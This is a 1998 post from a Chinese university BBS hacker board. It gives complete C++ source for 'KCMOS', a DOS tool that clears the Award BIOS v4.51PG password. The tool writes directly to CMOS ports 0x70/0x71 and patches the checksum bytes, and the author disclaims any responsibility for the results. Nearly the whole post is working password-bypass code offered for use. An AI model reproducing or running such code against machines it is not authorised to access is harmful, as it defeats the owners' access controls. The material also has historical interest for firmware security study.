发信人: Crimson_Indigo@bbs.ustc.edu.cn (热血蓝天), 信区: cnhacker
标  题: Clear CMOS Password for Award Bios 4.51
发信站: 中国科大BBS站 (Fri Mar  6 11:29:46 1998)
转信站: Lilac!ustcnews!ustcbbs


//
// Kcmos.cpp file 
//
// KCMOS version 1.0
// Clear the AWARD BIOS v4.51PG password  
//
// Copyright (c) 1998 Crimson  <Crimson.bbs@bbs.ahu.edu.cn> 
// 1998.2.14 
// 
// Compiled under BC++3.1 and run under DOS6.xx
// It will clear CMOS password safely!
//
// Notice: it must do with AWARD BIOS v4.51PG !
//                         ^^^^^^^^^^^^^^^^^^^!!!     
//         Crimson will not be responsible for any result!             
//

#include <stdio.h>
#include <conio.h>

int main(void)
{
  unsigned outPort = 0x70;
  int value;
  int inPort = 0x71;
  unsigned char result;
  unsigned char asd; 

     printf("\n\rKCMOS version 1.0\n\r"); 
     printf("Copyright (c) 1998 Crimson <Crimson.bbs@bbs.ahu.edu.cn> \n\r");
                
     outportb(outPort, 17 );     
     result = inportb(inPort);
     if(result!=0xa4) {
        asd= result - 0xa4;
        outportb(outPort, 17 );
        outportb(inPort, 0xa4 );

        outportb(outPort, 47 );     
        result = inportb(inPort);

        if(result<asd) {
           result=16+result-asd;
           outportb(outPort, 47 );
           outportb(inPort, result );

           outportb(outPort, 46 );
           result = inportb(inPort);
           outportb(inPort, result - 1 );
        }
        else {
           outportb(outPort, 47 );
           outportb(inPort, result - asd );
        }
     }

     outportb(outPort, 79 );    
     result = inportb(inPort);
     if(result!=0) {
        asd= result - 0;
        outportb(outPort, 79 );
        outportb(inPort, 0 );

        outportb(outPort, 126 );      
        result = inportb(inPort);

        if(result<asd) {
           result=15;
           outportb(outPort, 126 );
           outportb(inPort, result );

           outportb(outPort, 125 );
           result = inportb(inPort);
           outportb(inPort, result - 1 );
        }
        else {
           outportb(outPort, 126 );
           outportb(inPort, result - asd );
        }
     }

     printf("\nThe password have been cleared!\n"); 
     return 0;
}
//End of file!

--
※ 来源: 中国科大BBS站 [bbs.ustc.edu.cn]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.026毫秒